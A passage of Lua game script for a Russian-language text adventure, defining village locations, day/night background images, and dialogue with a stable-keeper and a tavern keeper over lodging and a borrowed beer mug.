if not nableguest and evening == 24 then return 'gfx/31.png;gfx/daynight2/daynight24.png@0,0' end;
if not nableguest and evening == 25 then return 'gfx/31.png;gfx/daynight2/daynight25.png@0,0' end;
if not nableguest and evening == 26 then return 'gfx/31.png;gfx/daynight2/daynight26.png@0,0' end;
if not nableguest and evening == 27 then return 'gfx/31.png;gfx/daynight2/daynight27.png@0,0' end;
if not nableguest and evening == 28 then return 'gfx/31.png;gfx/daynight2/daynight28.png@0,0' end;
if not nableguest and evening == 29 then return 'gfx/31.png;gfx/daynight2/daynight29.png@0,0' end;
if not nableguest and evening == 30 then return 'gfx/31.png;gfx/daynight2/daynight30.png@0,0' end;
if not nableguest and evening > 30 then return 'gfx/31.png;gfx/daynight2/daynight30.png@0,0' end;
if nableguest and evening == 0 then return 'gfx/31_2.png;gfx/daynight2/daynight0.png@0,0' end;
if nableguest and evening == 1 then return 'gfx/31_2.png;gfx/daynight2/daynight1.png@0,0' end;
if nableguest and evening == 2 then return 'gfx/31_2.png;gfx/daynight2/daynight2.png@0,0' end;
if nableguest and evening == 3 then return 'gfx/31_2.png;gfx/daynight2/daynight3.png@0,0' end;
if nableguest and evening == 4 then return 'gfx/31_2.png;gfx/daynight2/daynight4.png@0,0' end;
if nableguest and evening == 5 then return 'gfx/31_2.png;gfx/daynight2/daynight5.png@0,0' end;
if nableguest and evening == 6 then return 'gfx/31_2.png;gfx/daynight2/daynight6.png@0,0' end;
if nableguest and evening == 7 then return 'gfx/31_2.png;gfx/daynight2/daynight7.png@0,0' end;
if nableguest and evening == 8 then return 'gfx/31_2.png;gfx/daynight2/daynight8.png@0,0' end;
if nableguest and evening == 9 then return 'gfx/31_2.png;gfx/daynight2/daynight9.png@0,0' end;
if nableguest and evening == 10 then return 'gfx/31_2.png;gfx/daynight2/daynight10.png@0,0' end;
if nableguest and evening == 11 then return 'gfx/31_2.png;gfx/daynight2/daynight11.png@0,0' end;
if nableguest and evening == 12 then return 'gfx/31_2.png;gfx/daynight2/daynight12.png@0,0' end;
if nableguest and evening == 13 then return 'gfx/31_2.png;gfx/daynight2/daynight13.png@0,0' end;
if nableguest and evening == 14 then return 'gfx/31_2.png;gfx/daynight2/daynight14.png@0,0' end;
if nableguest and evening == 15 then return 'gfx/31_2.png;gfx/daynight2/daynight15.png@0,0' end;
if nableguest and evening == 16 then return 'gfx/31_2.png;gfx/daynight2/daynight16.png@0,0' end;
if nableguest and evening == 17 then return 'gfx/31_2.png;gfx/daynight2/daynight17.png@0,0' end;
if nableguest and evening == 18 then return 'gfx/31_2.png;gfx/daynight2/daynight18.png@0,0' end;
if nableguest and evening == 19 then return 'gfx/31_2.png;gfx/daynight2/daynight19.png@0,0' end;
if nableguest and evening == 20 then return 'gfx/31_2.png;gfx/daynight2/daynight20.png@0,0' end;
if nableguest and evening == 21 then return 'gfx/31_2.png;gfx/daynight2/daynight21.png@0,0' end;
if nableguest and evening == 22 then return 'gfx/31_2.png;gfx/daynight2/daynight22.png@0,0' end;
if nableguest and evening == 23 then return 'gfx/31_2.png;gfx/daynight2/daynight23.png@0,0' end;
if nableguest and evening == 24 then return 'gfx/31_2.png;gfx/daynight2/daynight24.png@0,0' end;
if nableguest and evening == 25 then return 'gfx/31_2.png;gfx/daynight2/daynight25.png@0,0' end;
if nableguest and evening == 26 then return 'gfx/31_2.png;gfx/daynight2/daynight26.png@0,0' end;
if nableguest and evening == 27 then return 'gfx/31_2.png;gfx/daynight2/daynight27.png@0,0' end;
if nableguest and evening == 28 then return 'gfx/31_2.png;gfx/daynight2/daynight28.png@0,0' end;
if nableguest and evening == 29 then return 'gfx/31_2.png;gfx/daynight2/daynight29.png@0,0' end;
if nableguest and evening == 30 then return 'gfx/31_2.png;gfx/daynight2/daynight30.png@0,0' end;
if nableguest and evening > 30 then return 'gfx/31_2.png;gfx/daynight2/daynight30.png@0,0' end;
end;
onenter = function()
if not have('samobranka') and not alreadytalkedwolfinvillage and not nableguest then walk('talkwithwolfinvillage') end
end;
enter = function()
wasinvillage = true;
if nableguest then enable('#enableguest') end
snd.music('mus/AMomentsReflection.ogg');
if vipusti then zabral = true end; -- плохое, неочевидное решение (но хз)
if eveningenabled then evening = evening+1; end;
end;
decor = function()
p [[Ты в деревне! Слева ты видишь какое-то сооружение, очень напоминающее домик {totravnik|травника}. Возможно, здесь есть что-то полезное.]];
p [[Внимание привлекает большая {tomelnica|мельница}. Наверное, большая гордость местных жителей.]];
p [[За мельницей - огромный, столетний {todub|дуб}.]];
p [[В центре - {tosalun|трактир}, или подобного рода заведение... Думаю, здесь любит собираться народ после тяжелого труда.]];
p [[Справа от трактира ты видишь {toguesthouse|дом}.]];
if not nableguest and have('samobranka') then p [[{tokonuh|Конюх} смотрит на тебя подозрительно.]]
elseif not nableguest and not have('samobranka') then p[[{tokonuh|Конюх} смотрит на тебя с любопытством.]] else p [[{tokonuh|Конюх} возится с конем.]] end;
p [[Ты видишь еще строения позади.]];
end;
obj = {'todub', 'tokonuh', 'tosalun', 'totravnik', 'tomelnica', 'toguesthouse', 'enableguest'};
way = { path{'К травнику','travnik'}, path{'В мельницу','melnica'}, path{'К дубу','indub'}, path{'В трактир','insalun'}, path{'#enableguest', 'В дом','guesthouse'}:disable() };
}
obj {
nam = 'enableguest';
}
obj {
nam = 'tokonuh';
act = function()
walkin('inkonuh');
end;
}
obj {
nam = 'todub';
act = function()
p [[Его почти не видно... Но можно пройти.]];
end;
}
obj {
nam = 'tomelnica';
act = function()
p [[Мельница. Гордость деревни. Хлеб нужен всем.]];
end;
}
obj {
nam = 'toguesthouse';
act = function()
if nableguest and not oboroten then p [[Дом конюха открыт для тебя. Ценой скатерти-самобранки...]] elseif nableguest and oboroten then p [[Дом конюха открыт для тебя. Как-то всё было слишком просто...]] else p [[Дом конюха. Закрыт.]] end;
end;
}
obj {
nam = 'totravnik';
act = function()
p [[Наверное, у него я могу приобрести полезные лекарства... Приобрести? Я без денег...]];
end;
}
room {
nam = 'inkonuh';
disp = 'Возле конюха';
enter = function()
if eveningenabled then evening = evening+1; end;
end;
pic = function()
if evening == 0 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight0.png@0,0' end;
if evening == 1 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight1.png@0,0' end;
if evening == 2 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight2.png@0,0' end;
if evening == 3 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight3.png@0,0' end;
if evening == 4 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight4.png@0,0' end;
if evening == 5 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight5.png@0,0' end;
if evening == 6 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight6.png@0,0' end;
if evening == 7 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight7.png@0,0' end;
if evening == 8 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight8.png@0,0' end;
if evening == 9 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight9.png@0,0' end;
if evening == 10 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight10.png@0,0' end;
if evening == 11 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight11.png@0,0' end;
if evening == 12 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight12.png@0,0' end;
if evening == 13 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight13.png@0,0' end;
if evening == 14 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight14.png@0,0' end;
if evening == 15 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight15.png@0,0' end;
if evening == 16 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight16.png@0,0' end;
if evening == 17 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight17.png@0,0' end;
if evening == 18 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight18.png@0,0' end;
if evening == 19 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight19.png@0,0' end;
if evening == 20 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight20.png@0,0' end;
if evening == 21 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight21.png@0,0' end;
if evening == 22 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight22.png@0,0' end;
if evening == 23 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight23.png@0,0' end;
if evening == 24 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight24.png@0,0' end;
if evening == 25 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight25.png@0,0' end;
if evening == 26 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight26.png@0,0' end;
if evening == 27 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight27.png@0,0' end;
if evening == 28 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight28.png@0,0' end;
if evening == 29 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight29.png@0,0' end;
if evening == 30 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight30.png@0,0' end;
if evening > 30 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight30.png@0,0' end;
if evening == 0 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight0.png@0,0' end;
if evening == 1 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight1.png@0,0' end;
if evening == 2 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight2.png@0,0' end;
if evening == 3 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight3.png@0,0' end;
if evening == 4 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight4.png@0,0' end;
if evening == 5 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight5.png@0,0' end;
if evening == 6 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight6.png@0,0' end;
if evening == 7 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight7.png@0,0' end;
if evening == 8 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight8.png@0,0' end;
if evening == 9 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight9.png@0,0' end;
if evening == 10 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight10.png@0,0' end;
if evening == 11 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight11.png@0,0' end;
if evening == 12 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight12.png@0,0' end;
if evening == 13 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight13.png@0,0' end;
if evening == 14 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight14.png@0,0' end;
if evening == 15 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight15.png@0,0' end;
if evening == 16 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight16.png@0,0' end;
if evening == 17 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight17.png@0,0' end;
if evening == 18 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight18.png@0,0' end;
if evening == 19 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight19.png@0,0' end;
if evening == 20 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight20.png@0,0' end;
if evening == 21 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight21.png@0,0' end;
if evening == 22 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight22.png@0,0' end;
if evening == 23 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight23.png@0,0' end;
if evening == 24 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight24.png@0,0' end;
if evening == 25 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight25.png@0,0' end;
if evening == 26 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight26.png@0,0' end;
if evening == 27 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight27.png@0,0' end;
if evening == 28 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight28.png@0,0' end;
if evening == 29 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight29.png@0,0' end;
if evening == 30 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight30.png@0,0' end;
if evening > 30 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight30.png@0,0' end;
end;
obj = {'talkwithkonuh'};
decor = [[Ты видишь {talkwithkonuh|конюха}. ]];
way = { path{'Отойти от конюха', 'village'} };
}
obj {
nam = 'talkwithkonuh';
act = function()
if not nableguest and not have('samobranka') then walkin('dlgkonuhwhenoboroten')
elseif not nableguest and have('samobranka') then walkin('dlgkonuh') else p 'Конюх занят.' end
end;
used = function(n,z)
if z^'samobranka' then walkin('dlgkonuh2') end
end;
}
dlgkonuhpic = function()
if evening == 0 then return 'gfx/32.png;gfx/daynight2/daynight0.png@0,0' end;
if evening == 1 then return 'gfx/32.png;gfx/daynight2/daynight1.png@0,0' end;
if evening == 2 then return 'gfx/32.png;gfx/daynight2/daynight2.png@0,0' end;
if evening == 3 then return 'gfx/32.png;gfx/daynight2/daynight3.png@0,0' end;
if evening == 4 then return 'gfx/32.png;gfx/daynight2/daynight4.png@0,0' end;
if evening == 5 then return 'gfx/32.png;gfx/daynight2/daynight5.png@0,0' end;
if evening == 6 then return 'gfx/32.png;gfx/daynight2/daynight6.png@0,0' end;
if evening == 7 then return 'gfx/32.png;gfx/daynight2/daynight7.png@0,0' end;
if evening == 8 then return 'gfx/32.png;gfx/daynight2/daynight8.png@0,0' end;
if evening == 9 then return 'gfx/32.png;gfx/daynight2/daynight9.png@0,0' end;
if evening == 10 then return 'gfx/32.png;gfx/daynight2/daynight10.png@0,0' end;
if evening == 11 then return 'gfx/32.png;gfx/daynight2/daynight11.png@0,0' end;
if evening == 12 then return 'gfx/32.png;gfx/daynight2/daynight12.png@0,0' end;
if evening == 13 then return 'gfx/32.png;gfx/daynight2/daynight13.png@0,0' end;
if evening == 14 then return 'gfx/32.png;gfx/daynight2/daynight14.png@0,0' end;
if evening == 15 then return 'gfx/32.png;gfx/daynight2/daynight15.png@0,0' end;
if evening == 16 then return 'gfx/32.png;gfx/daynight2/daynight16.png@0,0' end;
if evening == 17 then return 'gfx/32.png;gfx/daynight2/daynight17.png@0,0' end;
if evening == 18 then return 'gfx/32.png;gfx/daynight2/daynight18.png@0,0' end;
if evening == 19 then return 'gfx/32.png;gfx/daynight2/daynight19.png@0,0' end;
if evening == 20 then return 'gfx/32.png;gfx/daynight2/daynight20.png@0,0' end;
if evening == 21 then return 'gfx/32.png;gfx/daynight2/daynight21.png@0,0' end;
if evening == 22 then return 'gfx/32.png;gfx/daynight2/daynight22.png@0,0' end;
if evening == 23 then return 'gfx/32.png;gfx/daynight2/daynight23.png@0,0' end;
if evening == 24 then return 'gfx/32.png;gfx/daynight2/daynight24.png@0,0' end;
if evening == 25 then return 'gfx/32.png;gfx/daynight2/daynight25.png@0,0' end;
if evening == 26 then return 'gfx/32.png;gfx/daynight2/daynight26.png@0,0' end;
if evening == 27 then return 'gfx/32.png;gfx/daynight2/daynight27.png@0,0' end;
if evening == 28 then return 'gfx/32.png;gfx/daynight2/daynight28.png@0,0' end;
if evening == 29 then return 'gfx/32.png;gfx/daynight2/daynight29.png@0,0' end;
if evening == 30 then return 'gfx/32.png;gfx/daynight2/daynight30.png@0,0' end;
if evening > 30 then return 'gfx/32.png;gfx/daynight2/daynight30.png@0,0' end;
end;
dlg {
nam = 'dlgkonuh';
disp = 'Разговор с конюхом';
noinv = true;
pic = dlgkonuhpic; -- начинаю потихоньку сокращать код. одна функция для обработки всех одинаковых мест
enter = function(s)
p [[-- Чего тебе?]];
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
deletebutton();
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
phr = { -- начало фразы
only = true;
{'Конь у тебя какой-то бледный...', '-- Ха-ха-ха! У тебя и такого-то нет!',
{ function() p 'И правда...' end , '-- То-то же.'}
},
{'Привет! Я не местный и...', '-- Мне всё равно.',
{ only = true; 'Я прошел долгий путь! Я чуть не погиб!', '-- Если ты болен - иди к травнику. Он поможет.',
{ 'Но... мне даже переночевать негде!','-- Твои проблемы.' },
{ 'У меня кое-что есть для тебя!', '-- Хм. И что же ты можешь предложить?',
{ 'Скатерть. Но не простую, а скатерть-самобранку. Развернешь ее - а там еда на любой вкус.','-- Покажи мне ее!' },
}
}
}
} -- конец фразы
}
dlg {
nam = 'dlgkonuhwhenoboroten';
disp = 'Разговор с конюхом';
noinv = true;
pic = dlgkonuhpic;
enter = function(s)
p [[-- Приветствую тебя, друг! Ты, наверное, из далеких краёв пришел к нам?]];
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
deletebutton();
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
phr = { -- начало фразы
only = true;
{'Может да, а может нет. Конь у тебя какой-то бледный...', '-- Окстись, друг! У тебя и такого-то нет. Тебе нужен ночлег? Если желаешь - можешь остаться у меня. Вечером я собираюсь испечь свой любимый пивной пирог. Присоединишься ко мне?',
{ function() p 'Нет. Не внушаешь ты доверия. Небось, обезглавишь, пока спать буду.' end , '-- Обижаешь. Мы мирный и гостеприимный народ...'}
},
{'Да, я хотел бы найти ночлег... Чего это будет мне стоить?', '-- Ты что! Мы очень доброжелательные люди, к тому же путники из далеких стран нечасто захаживают сюда. Можешь оставаться у меня дома сколько потребуется. Вечером я собираюсь испечь свой любимый пивной пирог... Присоединишься ко мне?',
only = true;
{'Конечно. Спасибо огромное! Приятно встретить хорошего человека после такого долгого пути, который я прошел... Вы - мой спаситель.', '-- Отлично. Мой дом открыт для тебя. Приходи туда в любое время. Я приду ближе к ночи. Впусти меня, когда постучу в окно. Ты не будешь спать?',
{ 'Нет, я сплю днем. Вечером буду ждать вас, и уже заинтригован насчет пирога!', function() p'-- Поверь, я не разочарую тебя, друг!' nableguest = true oboroten = true end; },
},
{'Пожалуй, мне надо здесь осмотреться. Спасибо, конечно, за гостеприимство, я ценю это. Но я не привык оставаться на ночь у незнакомых людей... Даже столь приятных, как вы.', '-- Да брось! Что может произойти? Мы мирный народ. Я живу здесь многие годы, знаю деревню, как свои пять пальцев... Ты можешь много интересного узнать о этих местах!',
{ 'Я вам верю. Очень заманчивое предложение. Я подумаю. Но пока - откажусь.','-- Как знаешь, друг. Я всегда рад гостям, если что - я здесь.' },
},
}
} -- конец фразы
}
dlg {
nam = 'dlgkonuh2';
disp = 'Разговор с конюхом';
noinv = true;
pic = dlgkonuhpic;
enter = function(s)
p [[-- Ух ты! Отдашь ее? Тогда сможешь погостить у меня.]];
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
deletebutton();
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
phr = { -- начало фразы
only = true;
{'Нет. Это слишком ценная вещь.','-- Ну, как знаешь... Ты, конечно, будешь сыт, но ночевать на улице...',
{ 'Как-нибудь справлюсь.','-- Удачи.'
}
},
{'Да, бери. Она выручила в пути, но сейчас меня больше заботит сон... Всё отдал бы, чтобы лечь в мягкую постель.','-- В таком случае, по рукам?',
{ 'По рукам.', function() p'-- Мой дом открыт для тебя, можешь оставаться на ночь, пока не покинешь деревню.' nableguest = true; remove('samobranka') end
},
}
} -- конец фразы
}
obj {
nam = 'tosalun';
act = function()
p [[На вид - приличное заведение... Впрочем, другого-то нет.]];
end;
}
room {
nam = 'insalun';
disp = 'В трактире';
enter = function()
snd.music('mus/Plantation.ogg');
if have('pivo') or have('nopivo') and not nopivoontable then disable('#enableexit1') enable ('#enableattention1') end;
if not have('pivo') and not have('nopivo') and not nopivoontable then enable('#enableexit1') disable('#enableattention1') end;
if nopivoontable and not zabral then enable('#enableexit2') disable('#enableattention1') end;
if nopivoontable and zabral then enable('#enableexit1') disable('#enableattention1') disable('#enableexit2') end;
if vipusti then enable('#enableexit1') disable('#enableattention1') disable('#enableexit2') end;
end;
pic = function()
-- if not have('pivo') and not have('nopivo') and not nopivoontable and not zabral then return 'gfx/33.png'; end;
-- if have('pivo') and not have('nopivo') and not nopivoontable and not zabral then return 'gfx/33_1.png'; end;
-- if nopivoontable and not have('nopivo') and not zabral then return 'gfx/33_2.png'; end;
-- if zabral and not have('nopivo') then return 'gfx/33.png'; end;
-- if have('nopivo') then return 'gfx/33_1.png'; end;
if not eveningenabled and not have('pivo') and not have('nopivo') and not nopivoontable and not zabral then return 'gfx/33.png'; end;
if not eveningenabled and have('pivo') and not have('nopivo') and not nopivoontable and not zabral then return 'gfx/33_1.png'; end;
if not eveningenabled and nopivoontable and not have('nopivo') and not zabral then return 'gfx/33_2.png'; end;
if not eveningenabled and zabral and not have('nopivo') then return 'gfx/33.png'; end;
if not eveningenabled and have('nopivo') then return 'gfx/33_1.png'; end;
if eveningenabled and (evening > 5) and not have('pivo') and not have('nopivo') and not nopivoontable and not zabral then return 'gfx/33.png;gfx/daynight2/daynight_evening.png@0,0'; end;
if eveningenabled and (evening > 5) and have('pivo') and not have('nopivo') and not nopivoontable and not zabral then return 'gfx/33_1.png;gfx/daynight2/daynight_evening.png@0,0'; end;
if eveningenabled and (evening > 5) and nopivoontable and not have('nopivo') and not zabral then return 'gfx/33_2.png;gfx/daynight2/daynight_evening.png@0,0'; end;
if eveningenabled and (evening > 5) and zabral and not have('nopivo') then return 'gfx/33.png;gfx/daynight2/daynight_evening.png@0,0'; end;
if eveningenabled and (evening > 5) and have('nopivo') then return 'gfx/33_1.png;gfx/daynight2/daynight_evening.png@0,0'; end;
if eveningenabled and not (evening > 5) and not have('pivo') and not have('nopivo') and not nopivoontable and not zabral then return 'gfx/33.png'; end;
if eveningenabled and not (evening > 5) and have('pivo') and not have('nopivo') and not nopivoontable and not zabral then return 'gfx/33_1.png'; end;
if eveningenabled and not (evening > 5) and nopivoontable and not have('nopivo') and not zabral then return 'gfx/33_2.png'; end;
if eveningenabled and not (evening > 5) and zabral and not have('nopivo') then return 'gfx/33.png'; end;
if eveningenabled and not (evening > 5) and have('nopivo') then return 'gfx/33_1.png'; end;
end;
obj = {'tobarmen', 'tositdown', 'tokartina'};
decor = function()
p [[Ты видишь {tobarmen|человека}. Ты можешь присесть за ближайший свободный {tositdown|столик}. Ты можешь рассмотреть {tokartina|картину}, что висит на стене.]];
end;
way = { path{'#enableexit1', 'Выйти', 'village'}:disable() , path{'#enableexit2', 'Выйти', 'talkaboutkruzhka2'}:disable() , path{'#enableattention1', 'Выйти', 'talkaboutkruzhka'}:disable() };
}:with {
obj {
nam = 'enableexit1';
};
obj {
nam = 'enableexit2';
};
obj {
nam = 'enableattention1';
};
};
dlg {
nam = 'talkaboutkruzhka';
disp = 'Стоять!';
noinv = true;
pic = function()
if not have('pivo') and not have('nopivo') then return 'gfx/33.png' else return 'gfx/33_1.png' end;
if have('nopivo') then return 'gfx/33_1.png'; end;
end;
enter = function(s)
triedtoescape = true;
tyvor = true;
p [[-- Далеко собрался? Кружку отдай!]];
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
deletebutton();
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
phr = { -- начало фразы
{'Ээ... Я... Это...','-- Вор ты, вот ты кто! ',
{ 'Простите!','-- Верни кружку и можешь проваливать. Пиво твоё, кружка принадлежит заведению.'
}
},
} -- конец фразы
}
dlg {
nam = 'talkaboutkruzhka2';
disp = 'В трактире';
noinv = true;
pic = function()
if not have('pivo') and not nopivoontable then return 'gfx/33.png'; end;
if have('pivo') and not nopivoontable then return 'gfx/33_1.png'; end;
if nopivoontable then return 'gfx/33_2.png'; end;
end;
enter = function(s)
if combo then walkin('village') end;
triedtoescape = true;
wasintalkaboutkruzhka2 = true;
p [[-- А отдать кружку?]];
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
deletebutton();
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
phr = { -- начало фразы
{'Я оставил её на столике.','-- А, хорошо, я потом заберу.',
{ 'До свидания!', function() p'-- Пока.' zabral = true; walk('village') end;
}
},
} -- конец фразы
}
room {
nam = 'indub';
disp = 'Возле столетнего дуба';
enter = function()
treecounter = treecounter+1;
if eveningenabled then evening = evening+1; end;
snd.music('mus/InTheField.ogg');
snd.play('snd/birds.ogg', 2, 0);
end;
exit = function()
snd.stop(2);
end;
pic = function()
if evening == 0 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight0.png@0,0' end;
if evening == 1 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight1.png@0,0' end;
if evening == 2 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight2.png@0,0' end;
if evening == 3 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight3.png@0,0' end;
if evening == 4 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight4.png@0,0' end;
if evening == 5 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight5.png@0,0' end;
if evening == 6 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight6.png@0,0' end;
if evening == 7 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight7.png@0,0' end;
if evening == 8 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight8.png@0,0' end;
if evening == 9 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight9.png@0,0' end;
if evening == 10 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight10.png@0,0' end;
if evening == 11 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight11.png@0,0' end;
if evening == 12 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight12.png@0,0' end;
if evening == 13 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight13.png@0,0' end;
if evening == 14 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight14.png@0,0' end;
if evening == 15 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight15.png@0,0' end;
if evening == 16 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight16.png@0,0' end;
if evening == 17 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight17.png@0,0' end;
if evening == 18 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight18.png@0,0' end;
if evening == 19 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight19.png@0,0' end;
if evening == 20 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight20.png@0,0' end;
if evening == 21 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight21.png@0,0' end;
if evening == 22 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight22.png@0,0' end;
if evening == 23 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight23.png@0,0' end;
if evening == 24 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight24.png@0,0' end;
if evening == 25 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight25.png@0,0' end;
if evening == 26 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight26.png@0,0' end;
if evening == 27 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight27.png@0,0' end;
if evening == 28 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight28.png@0,0' end;
if evening == 29 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight29.png@0,0' end;
if evening == 30 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight30.png@0,0' end;
if evening > 30 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight30.png@0,0' end;
if evening == 0 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight0.png@0,0' end;
if evening == 1 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight1.png@0,0' end;
if evening == 2 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight2.png@0,0' end;
if evening == 3 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight3.png@0,0' end;
if evening == 4 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight4.png@0,0' end;
if evening == 5 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight5.png@0,0' end;
if evening == 6 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight6.png@0,0' end;
if evening == 7 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight7.png@0,0' end;
if evening == 8 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight8.png@0,0' end;
if evening == 9 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight9.png@0,0' end;
if evening == 10 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight10.png@0,0' end;
if evening == 11 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight11.png@0,0' end;
if evening == 12 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight12.png@0,0' end;
if evening == 13 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight13.png@0,0' end;
if evening == 14 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight14.png@0,0' end;
if evening == 15 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight15.png@0,0' end;
if evening == 16 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight16.png@0,0' end;
if evening == 17 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight17.png@0,0' end;
if evening == 18 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight18.png@0,0' end;
if evening == 19 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight19.png@0,0' end;
if evening == 20 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight20.png@0,0' end;
if evening == 21 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight21.png@0,0' end;
if evening == 22 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight22.png@0,0' end;
